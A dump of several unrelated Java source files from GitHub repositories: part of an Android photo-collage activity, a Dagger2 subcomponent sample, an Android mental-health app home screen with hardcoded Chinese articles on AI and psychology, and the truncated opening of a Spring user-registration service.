backimage.setImageDrawable(getResources().getDrawable(R.drawable.background14));
break;
case R.id.background15:
//backimage.setBackground(getResources().getDrawable(R.drawable.background15));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background15));
break;
case R.id.background16:
//backimage.setBackground(getResources().getDrawable(R.drawable.background16));
backimage.setImageDrawable(getResources().getDrawable(R.drawable.background16));
break;
case R.id.background17:
if (choosepicture != 0) {
ViewGroup viewGroup = Relativelay;
img currentView = (img) viewGroup.getChildAt(choosepicture);
//將目前選去要刪除的圖片的後面每一張圖片的ID都往前移一個
for (int i = choosepicture + 1; i < viewGroup.getChildCount(); i++) {
viewGroup.getChildAt(i).setId(i - 1);
}
//將目前選擇要刪除的照片比他大的Z都要減1
for (int z = 1; z < viewGroup.getChildCount(); z++) {
if ((int) currentView.getZ() < (int) viewGroup.getChildAt(z).getZ()) {
viewGroup.getChildAt(z).setZ((int) viewGroup.getChildAt(z).getZ() - 1);
}
}
currentView.buildDrawingCache();
backimage.setScaleType(ImageView.ScaleType.CENTER_CROP);
backimage.setImageDrawable(currentView.getDrawable());
viewGroup.removeView(currentView);
countpicture--;
choosepicture = 0;
} else
makeTextAndShow(getActivity(), "沒有選擇圖片", android.widget.Toast.LENGTH_SHORT);
break;
default:
break;
}
}
};
//endregion
//region 清空View暫存
/*
public static void recycleImageView(View view){
if(view==null) return;
if(view instanceof ImageView){
Drawable drawable=((ImageView) view).getDrawable();
if(drawable instanceof BitmapDrawable){
Bitmap bmp = ((BitmapDrawable)drawable).getBitmap();
if (bmp != null && !bmp.isRecycled()){
((ImageView) view).setImageBitmap(null);
bmp.recycle();
bmp=null;
}
}
}
} */
//endregion
//region 音樂控制區
// @Override
// protected void onResume()
// {
// // TODO Auto-generated method stub
//
// super.onResume();
// mPlayer.start();
// }
//
// @Override
// protected void onPause()
// {
// // TODO Auto-generated method stub
//
// super.onPause();
// mPlayer.pause();
// }
//
// @Override
// protected void onDestroy()
// {
// // TODO Auto-generated method stub
// super.onDestroy();
// mPlayer.release();
// }
//endregion
//region 切換頁面回傳值的地方
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == 0 && resultCode == getActivity().RESULT_OK) {
Bundle bundle = data.getExtras();
Bitmap textBitmap = Bitmap.createBitmap(bundle.getInt("textWidths")+300,200, Bitmap.Config.ARGB_8888);
Canvas textCanvas = new Canvas(textBitmap);
Paint textPaint = new Paint();
textPaint.setAntiAlias(true);//抗鋸齒
textPaint.setColor(bundle.getInt("color"));
textPaint.setTextSize(bundle.getInt("textSize") - 10);
textPaint.setFakeBoldText(bundle.getBoolean("FakeBold")); //true為粗體,false為非粗體
textPaint.setTextSkewX(bundle.getFloat("skewX")); //負數表示右斜,整数左斜
textPaint.setUnderlineText(bundle.getBoolean("underLine"));
Typeface type = Typeface.createFromAsset(getActivity().getAssets(), bundle.getString("textFonts"));
textPaint.setTypeface(type);
//textPaint.setStyle(Paint.Style.FILL);
textPaint.setStrokeWidth(30);
int x = (int)(Math.random() * 300 );
int y = (int)(Math.random() * 1300 +200 );
textCanvas.drawText(bundle.getString("text"), 130,170, textPaint);
img = new img(getActivity(),textBitmap,1);
//不讓字體有點擊透明穿越的能力所以繼承原有的imageview
//img = new ImageView(getActivity());
img.setId(countpicture);
img.setZ(countpicture);
img.setX(x);
img.setY(y);
//img.setTag(2);
img.setImageBitmap(textBitmap);
Relativelay.addView(img);
img.setOnTouchListener(new MultiTouchListener());
img.setOnClickListener(imgOnClickListener);
countpicture++;
}}
//endregion
//
// public static Bitmap getMagicDrawingCache(View view) {
// Bitmap.Config bitmap_quality = Bitmap.Config.ARGB_8888;
// Boolean quick_cache = false;
// int color_background = Color.BLACK;
// Bitmap bitmap = (Bitmap) view.getTag(R.id.cacheBitmapKey);
// Boolean dirty = (Boolean) view.getTag(R.id.cacheBitmapDirtyKey);
// if (view.getWidth() + view.getHeight() == 0) {
// view.measure(View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED), View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED));
// view.layout(0, 0, view.getMeasuredWidth(), view.getMeasuredHeight());
// }
// int viewWidth = (int) (view.getWidth()*view.getScaleX());
// int viewHeight = (int) (view.getHeight()*view.getScaleY());
// if (bitmap == null || bitmap.getWidth() != viewWidth || bitmap.getHeight() != viewHeight) {
// if (bitmap != null && !bitmap.isRecycled()) {
// bitmap.recycle();
// }
// bitmap = Bitmap.createBitmap(viewWidth, viewHeight, Bitmap.Config.ARGB_8888);
// view.setTag(R.id.cacheBitmapKey, bitmap);
// dirty = true;
// }
// if (dirty == true || !quick_cache) {
// bitmap.eraseColor(color_background);
// Canvas canvas = new Canvas(bitmap);
// view.draw(canvas);
// view.setTag(R.id.cacheBitmapDirtyKey, false);
// }
// return bitmap;
//}
}
| krisonepiece/PhotoCollage | app/src/main/java/com/fcu/photocollage/collage/CollageActivity.java |
65,429 | package com.beibeilab.dagger2sample.model6;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.TextView;
import com.beibeilab.dagger2sample.R;
import javax.inject.Inject;
/**
此方法跟 Component 的差異只在於 Component 的定義,Module 沒有變度ㄥ
感覺有點奇怪,因為好像是由下層 Component 管理 上層 Component 的依賴關係
適合的情境
1. 組間之間的關係非常親密
2. Subcomponent 只是 Component 的延伸
*/
public class SubcomponentDaggerActivity extends AppCompatActivity {
@Inject
Car6 car6;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_sample);
DaggerWheel6Component.create()
.plus(new Car6Module())
.plus()
.inject(this);
((TextView)findViewById(R.id.textView)).setText(car6.getWheelInfo());
}
}
| crazyma/Dagger2-Sample | app/src/main/java/com/beibeilab/dagger2sample/model6/SubcomponentDaggerActivity.java |
65,430 | package com.example.mental.MainUI;
import android.annotation.SuppressLint;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.TextView;
import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.GridLayoutManager;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.PagerSnapHelper;
import androidx.recyclerview.widget.RecyclerView;
import androidx.viewpager2.widget.ViewPager2;
import com.example.mental.Adapter.ActivityAdapter;
import com.example.mental.Adapter.BannerAdapter;
import com.example.mental.Adapter.FunctionAdapter;
import com.example.mental.Adapter.MessageAdapter;
import com.example.mental.Adapter.ModuleAdapter;
import com.example.mental.Definition.ActivityItem;
import com.example.mental.Definition.BannerItem;
import com.example.mental.Definition.FunctionModule;
import com.example.mental.Definition.MessageItem;
import com.example.mental.FunctionUI.AnalyzeActivity;
import com.example.mental.FunctionUI.FoodActivity;
import com.example.mental.FunctionUI.GameActivity;
import com.example.mental.FunctionUI.MeditationActivity;
import com.example.mental.FunctionUI.NoteActivity;
import com.example.mental.FunctionUI.ReadActivity;
import com.example.mental.ModuleUI.CameraModuleActivity;
import com.example.mental.ModuleUI.LookModuleActivity;
import com.example.mental.ModuleUI.TestModuleActivity;
import com.example.mental.R;
import com.example.mental.Utils.ApiRequest;
import com.google.gson.Gson;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
public class HomeFragment extends Fragment implements ModuleAdapter.OnModuleClickListener, FunctionAdapter.OnFunctionClickListener {
private ViewPager2 viewPager;
private List<Integer> imageList;
private TextView textAppName;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_home, container, false);
initHorizontalRecyclerView(view);
initBanner(view);
initFunctionModules(view);
initActivityList(view);
initInformationRecyclerView(view);
initTextAnimation(view);
return view;
}
// 人工智能模块栏初始化
private void initHorizontalRecyclerView(View view) {
RecyclerView horizontalRecyclerView = view.findViewById(R.id.horizontalRecyclerView);
LinearLayoutManager layoutManager = new LinearLayoutManager(requireContext(), LinearLayoutManager.HORIZONTAL, false);
horizontalRecyclerView.setLayoutManager(layoutManager);
List<String> moduleNameList = Arrays.asList("测一测", "照一照", "看一看");
List<String> moduleIntroduceList = Arrays.asList(
"只需选择你的想法机器学习就会告诉你答案!",
"通过你的面部微表情看看你的心情",
"使用VR技术让你身临其境感受自然放松心情!"
);
// 添加 PagerSnapHelper
PagerSnapHelper pagerSnapHelper = new PagerSnapHelper();
pagerSnapHelper.attachToRecyclerView(horizontalRecyclerView);
ModuleAdapter adapter = new ModuleAdapter(moduleNameList, moduleIntroduceList, this);
horizontalRecyclerView.setAdapter(adapter);
}
// 轮播图内容初始化
private void initBanner(View view) {
imageList = new ArrayList<>();
viewPager = view.findViewById(R.id.viewPager);
BannerAdapter bannerAdapter = new BannerAdapter(imageList);
viewPager.setAdapter(bannerAdapter);
String bannerApiUrl = "http://your_api_endpoint_for_banners";
ApiRequest.makeApiRequest(bannerApiUrl, new ApiRequest.ApiResponseListener() {
@SuppressLint("NotifyDataSetChanged")
@Override
public void onSuccess(String response) {
Log.d("API请求内容", response);
Gson gson = new Gson();
BannerItem[] bannerItems = gson.fromJson(response, BannerItem[].class);
imageList.clear();
for (BannerItem item : bannerItems) {
imageList.add(item.getBannerImageResourceId());
}
bannerAdapter.notifyDataSetChanged();
if (!imageList.isEmpty()) {
final Handler handler = new Handler();
final Runnable runnable = new Runnable() {
@Override
public void run() {
int currentItem = viewPager.getCurrentItem();
viewPager.setCurrentItem((currentItem + 1) % imageList.size(), true);
handler.postDelayed(this, 3000);
}
};
handler.postDelayed(runnable, 3000);
}
}
@SuppressLint("NotifyDataSetChanged")
@Override
public void onError(String error) {
Log.e("API请求内容", error);
imageList.clear();
imageList.add(R.drawable.image_banner1);
imageList.add(R.drawable.image_banner2);
imageList.add(R.drawable.image_banner3);
imageList.add(R.drawable.image_banner4);
bannerAdapter.notifyDataSetChanged();
if (!imageList.isEmpty()) {
final Handler handler = new Handler();
final Runnable runnable = new Runnable() {
@Override
public void run() {
int currentItem = viewPager.getCurrentItem();
viewPager.setCurrentItem((currentItem + 1) % imageList.size(), true);
handler.postDelayed(this, 3000);
}
};
handler.postDelayed(runnable, 3000);
}
}
});
}
// 功能模块栏初始化
private void initFunctionModules(View view) {
List<FunctionModule> functionModules = new ArrayList<>();
functionModules.add(new FunctionModule(R.drawable.icon_function_meditation, "心灵冥想"));
functionModules.add(new FunctionModule(R.drawable.icon_function_food, "心身滋养"));
functionModules.add(new FunctionModule(R.drawable.icon_function_note, "心绪记录"));
functionModules.add(new FunctionModule(R.drawable.icon_function_analyze, "心情解析"));
functionModules.add(new FunctionModule(R.drawable.icon_function_read, "心理探索"));
functionModules.add(new FunctionModule(R.drawable.icon_function_game, "逃出困境"));
RecyclerView functionRecyclerView = view.findViewById(R.id.functionRecyclerView);
GridLayoutManager functionLayoutManager = new GridLayoutManager(requireContext(), 2);
functionRecyclerView.setLayoutManager(functionLayoutManager);
FunctionAdapter functionModuleAdapter = new FunctionAdapter(functionModules, this);
functionRecyclerView.setAdapter(functionModuleAdapter);
}
// 活动列表初始化
private void initActivityList(View view) {
final List<ActivityItem> activityList = new ArrayList<>();
RecyclerView activityRecyclerView = view.findViewById(R.id.activityRecyclerView);
LinearLayoutManager activityLayoutManager = new LinearLayoutManager(requireContext(), LinearLayoutManager.VERTICAL, false);
activityRecyclerView.setLayoutManager(activityLayoutManager);
ActivityAdapter activityAdapter = new ActivityAdapter(activityList);
activityRecyclerView.setAdapter(activityAdapter);
String activityURL = "http://jsonplaceholder.typicode.com/post";
ApiRequest.makeApiRequest(activityURL, new ApiRequest.ApiResponseListener() {
@SuppressLint("NotifyDataSetChanged")
@Override
public void onSuccess(String response) {
Log.d("API请求内容", response);
Gson gson = new Gson();
ActivityItem[] items = gson.fromJson(response, ActivityItem[].class);
activityList.addAll(Arrays.asList(items));
activityAdapter.notifyDataSetChanged();
}
@SuppressLint("NotifyDataSetChanged")
@Override
public void onError(String error) {
Log.e("API请求内容", error);
ActivityItem[] defaultItems = {
new ActivityItem(R.drawable.image_activity_1, "正向心理学实践", "正向心理学实践是一种心理学分支,专注于研究和促进人类幸福、积极情感和个体优势的发展。正向心理学不仅关注减轻心理健康问题,还强调提高生活质量和个体的幸福感。以下是一些正向心理学实践的示例:\n 1. **积极情感练习**:这包括通过培养积极情感,如感激、快乐和满足感,来提高个体幸福感的技巧。人们可以尝试每天记录他们所感到的积极情感,以及导致这些情感的原因。\n 2. **力量和优势的发现**:正向心理学鼓励人们了解他们的个体优势和力量,然后将这些优势应用于他们的生活和工作中。这有助于提高个体的自尊心和自信心。\n 3. **目标设定**:设定明确的目标和愿望,然后制定达到这些目标的计划。积极心理学实践强调将目标与个体的价值和激情相匹配,以增加实现目标的动力。\n 4. **关注流**:\"流\"是一种全神贯注和充实的状态,通常发生在个体在做一项具有挑战性但令人愉悦的任务时。正向心理学鼓励人们追求这种状态,通过选择适合自己兴趣和技能的活动来实现。\n 5. **社交联系**:与他人建立积极和支持性的社交联系对于幸福感至关重要。正向心理学实践强调积极的人际交往和建立亲密关系的重要性。\n 6. **心理弹性的培养**:积极心理学鼓励人们开发心理弹性,以更好地应对生活中的挑战和逆境。这包括积极的问题解决和情感调节技巧。\n 7. **感激实践**:每天记录感激之情,以帮助个体更多地关注积极的方面,减少对负面事物的关注。\n 8. **乐观思考**:培养乐观的思考方式,将注意力集中在积极的可能性和解决方案上,而不是消极的担忧和烦恼上。\n 9. **自我关怀和自我关注**:学会照顾自己的身体和心理健康,包括健康饮食、锻炼、良好的睡眠和冥想等。\n 正向心理学实践的目标是帮助个体建立更加充实、有意义和满足的生活。这些实践可以用于个人生活、职业和教育领域,有助于提高生活的质量和幸福感。正向心理学研究不断发展,为人们提供了更多工具和策略来实现更积极的生活体验。"),
new ActivityItem(R.drawable.image_activity_2, "塔罗牌预测心理", "本活动使用机器学习模型训练方法,通过你对塔罗牌内容的选择来预测你的心理方向。\n你對你自己的感覺\nXXI - 世界\n 你感覺你心底的願望快將完美實現。 你對你所得的成就覺得滿意,而且正享受過去努力的回報。在物質財富或精神上,你都處於一段幸福的時期。\n你現在心底最渴望的東西\nXVII - 星星\n 星星卡牌表示,你最渴望的是一個美好和幸福的未來。 如果你生病了,或是在愛情遭遇失望,或是失去了一段關係,你的運氣即將改變。 星星卡牌是你心願卡,它會帶來快樂,滿足和健康的人生。 你還可能會收到禮物。\n 你內心的恐懼\n VIII - 力量\n 你極度缺乏意志力和力量去對付正在困擾你的某人或某事。 消極的感覺,及恐懼的內心只會造成失敗和失去機會。你應勇敢如獅子,但同時應懷著同情心工作,你將會成功。\n有利於你的事情\n XV - 惡魔\n 我們見到了有「永久」的可能性。如果你正在考慮確認關係或承諾婚姻等,這是一個好兆頭。 然而,想想你動機,因為我們同時見到了「誘惑」,你們之間存在控制的慾望。 所以,用你的直覺去感受,如果你感受到你的感覺是真誠的,那將是美好的。如果沒有,你仍然有機會作出選擇。 如果正考慮改掉一個壞習慣,例如吸煙或飲酒等,現在是一個好的時機。"),
new ActivityItem(R.drawable.image_activity_3, "桌游促进打开心理", "欢迎参加我们的 \"桌游促进打开心理\" 活动!这个活动旨在通过桌面游戏的方式提供一个愉快和互动的环境,帮助参与者打开他们的心理世界,增进社交互动,减轻压力,并增强积极情感。\n活动亮点:\n 桌游乐趣:我们将提供各种精选的桌游,包括策略游戏、卡片游戏、合作游戏等,供您选择。您可以与朋友或新认识的人一起玩游戏,享受游戏的乐趣。\n 社交互动:桌游是一种出色的社交活动,有助于建立新的友谊,改善现有关系,以及提高沟通和协作技能。在游戏中,您可以与他人合作或竞争,共同度过美好时光。\n 心理解压:玩游戏是一种很好的方式来减轻压力和释放紧张情绪。在一个轻松的氛围中,您可以忘记工作和生活的压力,专注于游戏和娱乐。\n 积极情感培养:玩桌游可以激发积极情感,如喜悦、兴奋和满足感。这有助于提高您的情绪状态,增加幸福感。")
};
activityList.addAll(Arrays.asList(defaultItems));
activityAdapter.notifyDataSetChanged();
}
});
}
// 资讯信息初始化
private void initInformationRecyclerView(View view) {
RecyclerView informationRecyclerView = view.findViewById(R.id.recyclerView_home_information);
GridLayoutManager informationLayoutManager = new GridLayoutManager(requireContext(), 2);
informationRecyclerView.setLayoutManager(informationLayoutManager);
List<MessageItem> messageItems = new ArrayList<>();
messageItems.add(new MessageItem(R.drawable.image_message_1, "AI与心理学完美融合!", " 心理学同人工智能联系紧密,自1956年人工智能的概念提出以来,心理学家同人工智能研究者进行了很多合作研究。如2018年5月,英国《自然》(Nature)杂志刊登了英国伦敦大学神经科学家和英国DeepMind团队人工智能研究员合作完成的一项研究成果,他们利用深度学习技术成功模拟人类大脑的空间导航能力。此类研究向人们展示了人工智能技术在心理学研究中的应用前景。\n 应用于心理测量\n 交互进化计算(Interactive Evolutionary Computation,IEC)属于人工智能领域的一种算法,是一种将人的智能评价同进化计算机有机结合的智能计算方法。目前,交互进化计算在心理测量领域的研究中得到很好的应用。日本学者塔卡西(Hideyuki Takagi)等人将交互进化计算应用于对精神分裂症患者的心理测量和评估中,辅助验证“精神分裂症患者所感受到的情绪表达的动态范围比健康人所感知到的范围更窄”这一假设,该研究是IEC运用于心理测量领域的开创性研究之一。在此之前,精神病学家和心理治疗师认为精神分裂症患者在情感表达方面存在问题,但是由于缺乏定量方法衡量他们的情感表达能力,所以无法以此作为诊断依据。交互进化计算提供了一种定量的测量方法,使得对情绪感知范围的测量成为可能。之后,张琰等人利用交互进化计算技术,以高社交焦虑和低社交焦虑大学生为研究对象,成功地测量并比较了两者在面孔情绪识别的动态感知范围上的差异性。这些研究表明:交互进化计算作为一种智能算法,适用于心理健康测量。\n 此外,人工智能领域的贝叶斯网络和粗糙集分析方法对心理测量数据的挖掘起到了优于一般心理学统计方法的作用。余嘉元发现,利用贝叶斯网络开发的智能自适应测验可以显著地减少教育和心理测试中题目的数量,并且相对于纸笔测验,这种自适应测验获取的信息更多。他还发现,人工智能中的粗糙集分析方法可以对心理测量数据进行挖掘,得到更准确细致的分析结果。\n 应用于心理变量预测\n 近年来,人工智能技术中的表情识别技术被用于心理学人格预测的研究中。以往确定大五人格类型的方法主要是问卷测量,但这需要花费大量时间。加夫里列斯库(Mihai Gavrilescu)在2016年建立了一种新的非侵入性系统,这一系统可以根据面部动作编码获得的面部特征来确定人的大五人格特征。之后,加夫里列斯库和维齐雷努(Nicolae Vizireanu)在2017年提出了一种基于面部动作编码系统的面部特征分析系统,用以预测人们的16PF人格特征。该系统能够在1分钟内准确预测个体的16PF人格,比16PF人格问卷更快速、更实用,适合于短时间内预测人的个性特征。", "2023年8月22日", "腾讯云"));
messageItems.add(new MessageItem(R.drawable.image_message_2, "善用科技治疗文明病!研究:AI 心理治疗可改变大脑功能,改善忧鬱及焦虑症状", " 由伊利诺伊大学芝加哥分校学者执行的研究,招募了 60 多名患者进行临床研究,评估 Lumen 应用程式(亚马逊 Alexa 应用程式中的一项技能)对轻度至中度忧鬱和焦虑症状的效果。参与者平均年龄为 37.8 岁,其中 68% 为女性、25% 为黑人、24% 为拉丁裔、11% 为亚洲人。其中有 42 人 在 iPad 上使用 Lumen 进行 8 次问题解决治疗,21 人则作为对照组,未接受任何干预措施。\n 研究结果发现,与对照组相较,使用 Lumen 应用程式的参与者在忧鬱、焦虑和心理困扰方面的得分降低,还显示出其解决问题能力的提升,这与背外侧前额叶(认知控制有关的大脑区域)活动的增加有关。\n 研究者表示,此种治疗方式可以帮助人们改变对问题的看法和应对方式,不受到情绪的干扰,同时秉持「实用」和「以患者为中心」的原则,且已经过实证可以透过语音技术来传递和运用。\n 台北市联合医院中兴院区一般精神科主任詹佳真说明,本研究把治疗后情绪改善、行为上问题解决技巧的提升,以及生物学上主掌理性思考的脑区:背外侧前额叶活性增加做为连结,证明 AI 心理治疗確实可改变大脑功能活动,这是令人振奋的消息。\n 心理治疗的核心概念为:说出来就能得到帮忙,所以只要能协助开启谈话,对於被焦虑忧鬱情绪淹没的人就是一种帮助。本研究帮助受治疗者从情绪中抽离,聚焦在產生困扰的事件上,结合了「寻找解决问题的方法」与「產生对於生活的掌控感及自信心」这两项有效的治疗因子,因此可预见,即使是 AI 执行,也不容易误导案主,且能达到一定疗效。\n 不过詹佳真提醒,虽然 AI 可弥补现实中无法即刻安排心理治疗的需求,但人类的问题错综复杂,仍需要不同取向的心理治疗来协助解救情绪方面的问题。AI 目前仍然无法替代面对面的真人心理治疗,且本研究並非针对已经確诊焦虑症或忧鬱症的个人,因此,无法从心理治疗得到帮助的人还是务必及时寻求协助与就医,经过正確的诊断与遵照医嘱接受治疗,才能有良好的治疗效果。\n 董氏基金会心理卫生中心主任叶雅馨说明,在新冠病毒大流行之后,焦虑和忧鬱的发生率上升,当心理治疗专业人员不足时,人工智慧语音就像一位虚擬教练,可作为填补心理健康系统迫切需求的一种方法。这不代表人工智慧语音可以取代传统治疗,但可以是人们寻求治疗、等待治疗前的权宜措施。\n 许多民眾对使用人工智慧十分陌生,不知道该不该尝试?叶雅馨表示,面对人工智慧语音的治疗方式,建议大眾可以先站在「何妨试一试、愿意试一试」的角度,尝试之前也可蒐集关於人工智慧相关的资料,或询问使用者的反馈,帮助自己更了解该领域。最重要的是,无论哪个治疗方法,对迫切需要的人来说都是一个选择,也许在尝试过会得到新的想法及帮助。", "2023年8月22日", "HEHO"));
messageItems.add(new MessageItem(R.drawable.image_message_3, "当AI侵入心理咨询,科技何以拯救心灵?", "在1960年代,麻省理工学院的计算机科学家约瑟夫·魏岑鲍姆(Joseph Weizenbaum)开发了一个名为伊丽莎(Eliza)的计算机程序。它旨在模拟罗杰斯心理治疗,在这种疗法中,通常由患者主导对话,而治疗师通常会重复她的措辞。\n 罗杰斯心理治疗,又称为“个人中心疗法”(person centered therapy),治疗过程中为来访者提供和谐适当的心理环境和氛围,与来访者建立一种相互信任、相互接受的关系,帮助来访者发挥潜能,理清思路,改变对自己和他人的看法,产生自我指导的行为,达到自我治疗、自我成长的目的。\n 魏岑鲍姆把伊丽莎视为一种讽刺。他对计算机是否能够模拟有意义的人际互动表示怀疑。但当许多尝试这款程序的人发现伊丽莎既有实际效用又饱含吸引力时,他感到震惊。他个人秘书甚至要求他离开房间,这样她就可以独自与伊丽莎相处。更糟糕的是,医生们将其视为一种潜在的变革性工具。\n 1966年,三名精神科医生在《神经与精神疾病杂志》(The Journal of Nervous and Mental Disease)中如是写道,“一个为此目的而设计的计算机系统,每小时可以处理数百位患者。参与该系统的设计和运作的人类治疗师,并不会被系统取代,但会更加高效,因为他的精力不再局限于现有的患者—治疗师一对一。”\n 魏岑鲍姆成为了人工智能坦率的批评者。布莱恩·克里斯汀(Brian Christian)在他的书《最人性化的人》(The Most Human Human)中详细描述了这一事件,他告诉我说:“精灵已经从瓶子里跑出来了。”\n 几年后,斯坦福大学的精神科医生肯尼斯·科尔比(Kenneth Colby)创建了“帕里”(Parry),一个试图模拟偏执型精神分裂症患者语言的程序,以便在学生照顾真实患者之前对他们预先培训。精神科医生在拿到治疗记录后,往往无法分辨帕里和人类之间的区别;狭义上讲,这个聊天机器人已经通过了图灵测试。在1972年,帕里和伊丽莎见面进行了一次治疗会话:\n 随着时间的推移,程序员们开发了Jabberwacky、Dr. Sbaitso和Alice(人工语言互联网计算机实体)。与这些聊天机器人的交流往往是引人入胜的,有时滑稽可笑,偶尔也会言之无物。但计算机能够扮演人类的知己角色,超越疲于奔命的治疗师的能力极限,扩大治疗的覆盖范围——这样的想法历经数十年而坚存。\n 2017年,斯坦福大学的临床研究心理学家艾莉森·达西(Alison Darcy)创立了Woebot,这是一家通过智能手机应用提供自动化心理健康支持的公司。其方法基于认知行为疗法(Cognitive Behavioral Therapy,CBT),这种治疗旨在改变人们的思维模式。该应用程序使用一种称为自然语言处理的人工智能形式来解释用户说的话,并通过预先编写的回答序列引导用户,促使他们考虑自己的思维方式可能如何不同。", "2023年6月11日", "虎嗅"));
messageItems.add(new MessageItem(R.drawable.image_message_4, "被忽略的「AI心理學」", " 關於我們的生活如何與AI產生交集,有個仍被忽視的問題,就是人類的自我認同感會受到這類科技的影響。想想你若接到夢想工作的錄取通知,卻得知是AI進行審核而非真人主管,是否會認為自己其實沒有這麼優秀?這樣的心理反應帶來什麼樣的影響?\n 上過行銷課的人,可能記得通用磨坊公司(General Mills)1950年代推出貝蒂妙廚(Betty Crocker)蛋糕粉的著名案例。這種蛋糕粉只需加入水,攪拌,然後烘焙即可。儘管這款產品表現優異,一開始的銷售情況卻不如人意。大家百思不解,直到主管找出問題的癥結:蛋糕粉把烤蛋糕變得太容易了,讓購買的人在使用的時候感覺像在作弊。基於這個見解,通用磨坊把成分中的雞蛋粉拿掉,要顧客自己打一顆雞蛋,拌入蛋糕粉。這麼一個小小的改變,讓那些烘焙的人覺得比較心安理得,因此提高了蛋糕粉的銷售。事隔70年,至今大部分蛋糕粉仍要使用者自己加入一顆雞蛋。", "2023年9月1日", "哈佛商业评论"));
messageItems.add(new MessageItem(R.drawable.image_message_5, "AI 可以取代心理治療嗎?一位心理師與 ChatGpt 的深夜對話...", " 你聽過 AI 嗎?昨晚下班後,決定與名為 ChatGpt 的 AI 進行一場對話。原因很簡單:有人說,ChatGpt 可以寫詩,可以發Email,還可以即興唱一首主題為「椅子」的日文歌。\n 那麼,AI 可以取代心理治療嗎?\n 這,就是這場對話的動機。\n 我覺得目前民用的AI,有點像是以前台中一中街的刀削麵。因為生意太好了,老闆弄了一台機器人,專門把麵條削好。意思是:機器人就是負責「削」,削好了還是要由人工來檢查、來煮熟、來調味。\n 目前我用 ChatGPT-4,也是類似的感想。\n 先不管字數限制的問題。對我來說最好用的功能如翻譯、整理段落等。一旦一次給太多資料(麵條),AI就會出包。更糟糕的是:\n1. 因為你一次給很多資料。就人性而言,會更懶得檢查。\n2. ChatGpt就算是4,還是會有「一本正經說幹話」的毛病。\n3. 信任難以建立,容易摧毀,只要抓到AI一次說謊,那就...\n 所以人類那種「完蛋了!以後什麼東西丟給AI,它就可以無止盡地工作,取代我們每個人」的幻想,至少目前還是沒有成立。\n 就算有了削麵機器人,我們還是需要煮麵師傅。就算有了無盡的文字產出,我們還是需要編輯。\n1. 能夠分辨真貨與假貨、好貨與爛貨的人,永遠是未來需要的人。\n2. 這也意味著「專家效度」的微妙邏輯,什麼是夠好的內容?讓我們來訪問一群專家吧。\n3. 少了對AI的全面信任(或許是好事),我目前的解法是:一次只給AI一小段。", "2023年9月6日", "家齊心理師說故事"));
messageItems.add(new MessageItem(R.drawable.image_message_6, "和機器人聊心事?歐美AI心理諮商熱潮飆升中", "和機器人聊心事?歐美AI心理諮商熱潮飆升中", "2023年9月13日", "天下杂志"));
messageItems.add(new MessageItem(R.drawable.image_message_7, "AI 入局心理健康:是抢咨询师的饭碗,还是治愈 emo 的良药?", "AI 入局心理健康:是抢咨询师的饭碗,还是治愈 emo 的良药?", "2023年7月22日", "InfoQ"));
messageItems.add(new MessageItem(R.drawable.image_message_8, "AI在心理学研究与相关产业的应用", "AI在心理學研究與相關產業的應用", "2023年8月1日", "科学人"));
MessageAdapter messageAdapter = new MessageAdapter(messageItems, requireContext());
informationRecyclerView.setAdapter(messageAdapter);
}
// 初始化文本大小切换动画
private void initTextAnimation(View view) {
textAppName = view.findViewById(R.id.text_fragment_home_appName); // 初始化 textAppName
// 加载动画资源
Animation textAnimation = AnimationUtils.loadAnimation(requireContext(), R.anim.text_size_animation);
// 设置动画监听器,在动画结束时反转动画
textAnimation.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
// 动画开始时的操作
}
@Override
public void onAnimationEnd(Animation animation) {
}
@Override
public void onAnimationRepeat(Animation animation) {
// 动画重复时的操作
}
});
// 设置动画的重复次数为无限循环
textAnimation.setRepeatCount(Animation.INFINITE);
// 开始动画
textAppName.startAnimation(textAnimation);
}
// 人工智能模块点击跳转事件
@Override
public void onModuleClick(int position) {
switch (position) {
case 0:
startActivity(new Intent(requireContext(), TestModuleActivity.class));
break;
case 1:
startActivity(new Intent(requireContext(), CameraModuleActivity.class));
break;
case 2:
startActivity(new Intent(requireContext(), LookModuleActivity.class));
break;
}
}
// 功能模块点击跳转事件
@Override
public void onFunctionClick(int position) {
switch (position) {
case 0:
startActivity(new Intent(requireContext(), MeditationActivity.class));
break;
case 1:
startActivity(new Intent(requireContext(), FoodActivity.class));
break;
case 2:
startActivity(new Intent(requireContext(), NoteActivity.class));
break;
case 3:
startActivity(new Intent(requireContext(), AnalyzeActivity.class));
break;
case 4:
startActivity(new Intent(requireContext(), ReadActivity.class));
break;
case 5:
startActivity(new Intent(requireContext(), GameActivity.class));
break;
}
}
}
| Tiriod/Mental | app/src/main/java/com/example/mental/MainUI/HomeFragment.java |
65,431 | package com.example.springcat.security.rest.register;
import com.example.springcat.persisted.EmailVerificationRepository;
import com.example.springcat.persisted.UserRepository;
import com.example.springcat.persisted.entity.EmailVerificationEntity;
import com.example.springcat.persisted.entity.RoleEntity;
import com.example.springcat.persisted.entity.UserEntity;
import com.example.springcat.persisted.entity.common.Role;
import com.example.springcat.security.dto.UserInfo;
import com.example.springcat.security.rest.Register;
import com.google.common.collect.Sets;
import com.google.common.hash.Hashing;
import java.time.LocalDateTime;
import java.util.Set;
import java.util.UUID;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import lombok.val;
import org.springframework.data.jpa.repository.Modifying;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
/**
* 嘗試使用 template pattern 來做註冊流程, 感覺有點瑣碎跟過度設計
*/
@Slf4j
@Service
@Transactional
